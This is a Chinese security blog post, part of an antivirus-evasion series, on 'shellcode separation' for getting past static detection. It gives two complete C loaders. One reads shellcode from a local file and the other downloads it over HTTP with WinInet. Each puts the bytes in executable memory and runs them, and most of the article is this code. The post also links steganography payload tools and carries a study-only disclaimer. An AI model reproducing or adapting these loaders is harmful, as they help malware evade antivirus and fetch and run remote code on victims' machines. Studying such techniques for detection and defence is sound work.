【小惜免杀之旅3】过静态-shellcode分离

admin 2024年1月24日11:45:17评论7 views字数 4487阅读14分57秒阅读模式

本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

过静态--shellcode分离3.1 从文件中读取shellcode3.2 通过http读取shellcode3.2 图片隐写

之前写了关于shellcode的加密或转换的文章,当然除了最基础的加密还有一种情况就是分离出来,下面也是列举几个常用的方法

3.1 从文件中读取shellcode

先了解几个API函数

CreateFileA

  • 功能:创建或者打开文件或 I/O 设备。

  • 返回值:当打开文件成功则返回对应句柄,如果失败则返回INVALID_HANDLE_VALUE

HANDLE CreateFileA(
      LPCSTR                lpFileName, // 要打开的文件的名字,注意是宽字节
      DWORD                 dwDesiredAccess, // 允许对设备的访问权限,GENERIC_READ  为读权限
      DWORD                 dwShareMode,    // 表示共享模式,用于指定其他进程对同一文件的访问权限,0为不共享
      LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // 安全描述符,这里直接设置为NULL就可以
      DWORD                 dwCreationDisposition, // 要对存在或不存在的文件或设备执行的操作,动作 OPEN_EXISTING 表示打开已存在文件
      DWORD                 dwFlagsAndAttributes,    // 用于指定文件或设备对象的属性通常用于创建文件时使用该属性,属性 FILE_ATTRIBUTE_NORMAL  为默认属性
      HANDLE                hTemplateFile    // 默认为 NULL 即可
)
;

ReadFile

  • 功能:从文件中读取数据

  • 返回值:如果函数成功,则返回值为非零 (TRUE) 。如果函数失败或正在异步完成,则返回值为零 (FALSE) 。

BOOL ReadFile(
  HANDLE       hFile,    // 文件句柄
  LPVOID       lpBuffer,        // 接数据用的buffer
  DWORD        nNumberOfBytesToRead,    // 要读取的字节数
  LPDWORD      lpNumberOfBytesRead,        // 实际读取的字节数
  LPOVERLAPPED lpOverlapped // OVERLAPPED 结构 一般设为 NULL
)
;
#include <stdio.h>
#include <windows.h>

int main()
{
    DWORD dwSize;
    DWORD dwReadSize;
    HANDLE hFileNew;
    //文件路径
    LPCWSTR file = L"C:\Black\calc.bin";
    //打开文件,以只读方式,读取权限对其它进程共享
    hFileNew = CreateFile(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    //判断是否成功打开文件
    if (hFileNew == INVALID_HANDLE_VALUE)
    {
        return 0;
    }
    //获取文件大小
    dwSize = GetFileSize(hFileNew, NULL);
    //开辟空间
    void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //将文件读取到开辟的空间处
    ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
    //函数指针调用
    ((void(*)())exec)();
}

3.2 通过http读取shellcode

C语言中,如果想实现对应网络资源对应的功能,就要用到wininet

WinInet(Windows Internet)是 Microsoft Windows 操作系统中的一个 API 集,用于提供对  Internet 相关功能的支持。它包括了一系列的函数,使得 Windows 应用程序能够进行网络通信、处理 HTTP 请求、FTP  操作等。WinInet 提供了一套完整的网络通信工具,使得开发者能够轻松地构建支持网络功能的应用程序,涵盖了从简单的 HTTP  请求到复杂的文件传输等多种网络操作。

#include <wininet.h>
#pragma comment(lib, "wininet.lib")

InternetOpenA:

  • 功能:用于初始化一个应用程序的对网络资源的访问。

  • 返回值:如果函数调用成功,将返回一个类型为 HINTERNET 的句柄。这个句柄可以用于后续的网络操作。

HINTERNET InternetOpenA(
  [in] LPCSTR lpszAgent,   //UA头的值
  [in] DWORD  dwAccessType,   //访问互联网的方式INTERNET_OPEN_TYPE_DIRECT直接连接,INTERNET_OPEN_TYPE_PROXY:通过代理服务器连接到互联网。
  [in] LPCSTR lpszProxy,    //代理服务器地址,我们不用代理访问模式,这里可以设置为NULL
  [in] LPCSTR lpszProxyBypass,    //不走代理的地址
  [in] DWORD  dwFlags        //指定其他标志来控制函数的行为,正常访问直接为设置为NULl即可
)
;

使用InternetOpenA初始化并获得句柄后,我们想要发送http请求,可以有两种方式,一种是使用InternetOpenUrlA,另一种是使用InternetConnectAHttpOpenRequestAHttpSendRequestA的组合,后者更细致,前者更方便,所以我们这里直接用InternetOpenUrlA

InternetOpenUrlA

  • 功能:用于打开一个指定的URL并返回一个指向URL资源的句柄

  • 返回值:如果函数调用成功,则返回指向URL资源的有效句柄(HINTERNET类型)。

HINTERNET InternetOpenUrlA(
  [in] HINTERNET hInternet,  //一个已打开的句柄,用于表示与Internet相关的会话。通常使用InternetOpenA函数返回的句柄作为参数.
  [in] LPCSTR    lpszUrl,    //要打开的URL字符串
  [in] LPCSTR    lpszHeaders,    //用于指定请求的头部信息。可以为空字符串或NULL。
  [in] DWORD     dwHeadersLength,    //lpszHeaders参数的长度,如果指定了头部信息,则需要指定其长度;如果没有指定,则传入0。
  [in] DWORD     dwFlags,        //用于指定打开URL的行为和选项,我们这里用到了INTERNET_FLAG_RELOAD:强制重新下载URL资源,忽略缓存。
  [in] DWORD_PTR dwContext    //一个用户定义的值,可以用于传递上下文信息。我们不用回调函数,这里设置为NULL即可
)
;

InternetReadFile

  • 功能:用于读取通过HTTP或FTP协议打开的URL资源。

  • 返回值:如果函数调用成功,则返回非零值(TRUE)。

BOOL InternetReadFile(
  [in]  HINTERNET hFile,  //指向要读取的URL资源的句柄。
  [out] LPVOID    lpBuffer,     //指向用于接收读取数据的缓冲区的指针。
  [in]  DWORD     dwNumberOfBytesToRead,    //要读取的字节数。
  [out] LPDWORD   lpdwNumberOfBytesRead        //指向一个DWORD类型的变量,表示实际读取的字节数。
)
;

完整代码:

#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")

int main()
{
    const char* host = "http://127.0.0.1/calc.bin";
    const int payload_len = 369;

    HINTERNET session, con;
    void* exec = VirtualAlloc(NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    session = InternetOpenA("User Agent", INTERNET_OPEN_TYPE_DIRECT, NULLNULLNULL);
    con = InternetOpenUrlA(session, "http://127.0.0.1/calc.bin"NULL0, INTERNET_FLAG_RELOAD, 0);

    if (con != NULL)
    {
        DWORD nread;
        InternetReadFile(con, exec, payload_len, &nread);
        ((void(*)())exec)();
    }

    InternetCloseHandle(con);
    InternetCloseHandle(session);

    return 0;

3.2 图片隐写

实战对抗情况下效果不好,这里不多做介绍

https://github.com/dayuxiyou/Invoke-PSImage

https://github.com/Mr-Un1k0d3r/DKMC

原文始发于微信公众号(小惜渗透):【小惜免杀之旅--3】过静态-shellcode分离

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月24日11:45:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【小惜免杀之旅3】过静态-shellcode分离http://cn-sec.com/archives/2418686.html

发表评论

匿名网友 填写信息